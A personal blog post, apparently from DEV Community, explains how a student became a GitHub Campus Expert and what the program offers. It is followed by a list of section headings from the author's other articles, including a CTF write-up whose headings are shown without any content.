People learn better when they can learn with a community of like-minded peers. A Campus Expert improves the technical community on their campus, with training and support from GitHub. Once you complete the training and become a GitHub Campus Expert, you will have access to resources and support from GitHub, such as swag, sponsorship, and the opportunity to attend events like the company’s annual conference, GitHub Universe.

How can I become one?

After reading the above, if you too got excited like me and want to know how you can also become one, Check out this link.

This is the first place you want to go to kickstart your journey of becoming a campus expert. Once you click Start, GitHub will take some time to get things ready for training. You will get all the instructions about your training and submissions, right after it is complete. It took me about a month to complete my training, GitHub does not have any deadline over the submissions, you can submit these at your own pace. After you complete your submissions, you have to be patient and wait for a reviewer to review your submissions. After a reviewer reviews your submissions and merges your PR, the final step is a screening call. And then you would have become the GitHub Campus Expert for your Campus.
Now let us answer some serious questions!

What is the use of becoming a GitHub Campus Expert?

Ever thought about having an enriching community where you can find like-minded peers and have fun together? Or maybe you want to organize many events for your campus so that people get excited and join hands together? Where would you go? Whom would you ask for help? Most importantly, What about the funds?
That is where the GitHub Campus Expert Program will come into the picture. We have a fantastic community of passionate people backed by GitHub all over the world, who will support you in building a better Technical Community for your Campus. If you think that your campus lacks a good technical community, do not wait for a leader or someone, take things on your hand and start the movement.
Leaders are not born; they are made.

Finally, the question for which everyone wants to know the answer to

What tools and resources does a GitHub Campus Expert get access to?

The ultimate resource is always People, People, People.
You will be added to the slack channel where you can find all the GitHub Campus Experts around the world. Then you gain access to tools that help you make resource requests, and collaborate with GitHub Staff and other Campus Experts. GitHub will ship you cool swags as I got below,

With the network of amazing people and GitHub supporting in you in every way it could, you can build something greater than yourself.
Thanks for reading the article. I cannot thank enough GitHub for the fantastic resources it has given.

DEV Community: Harish

I built a strange webhook handler in NodeJS

Context

Objectives

Brainstorming

The final spec

Conclusion

You need to implement this email check

What the heck is Email Canonicalization?

Why this matters?

The npm package you need

Implementing the better way

Conclusion

Quiz Maker Algorithm

Problem Statement

Solution

Exploring available solutions

Generating a random list

Deterministic Pseudorandom list

Walkthrough of my solution

Fisher Yates Shuffle algorithm

Extending Fisher Yates to give deterministic sequence

The final version

Conclusion

The Tale of Digital Art Theft - Part1

The problem

Spoofing

Fraud

More problems

Present solutions

1. OpenSea's Portfolio

Deviant Art

Beginner's guide to deploy smart contract with an example

Table Of Contents

Fundamentals

What is a smart contract?

How to write one?

PreRequisites

Introduction

Setting up initial state

Updating state

Enlisting a Collection Contract

Donating to a Collection Contract

Deployment

Interacting with the contract

Summary

Bonus Tip

About my project

Join the Movement

Blink Host | Auth0 CTF Write-up

Background

Table Of Contents

Recon

Initial thought process

Exploring Puppeteer

Building the solution

Summary

How I built the API for Hacktoberfest Validation

Where it all started

The badges Framework

Getting to work

The Problem

Exploring DO's Hacktoberfest Repo

The Magic

Actual work begins

What the API does

HarishTeens / hacktoberfest-validation

Hacktoberfest 2020 Validation Checker

Introduction

Step to Use the API

Example

Request

Response

How the API works

What more could be improved

Conclusion

Woofy Greet Actions

My Workflow

Submission Category:

Yaml File or Link to Code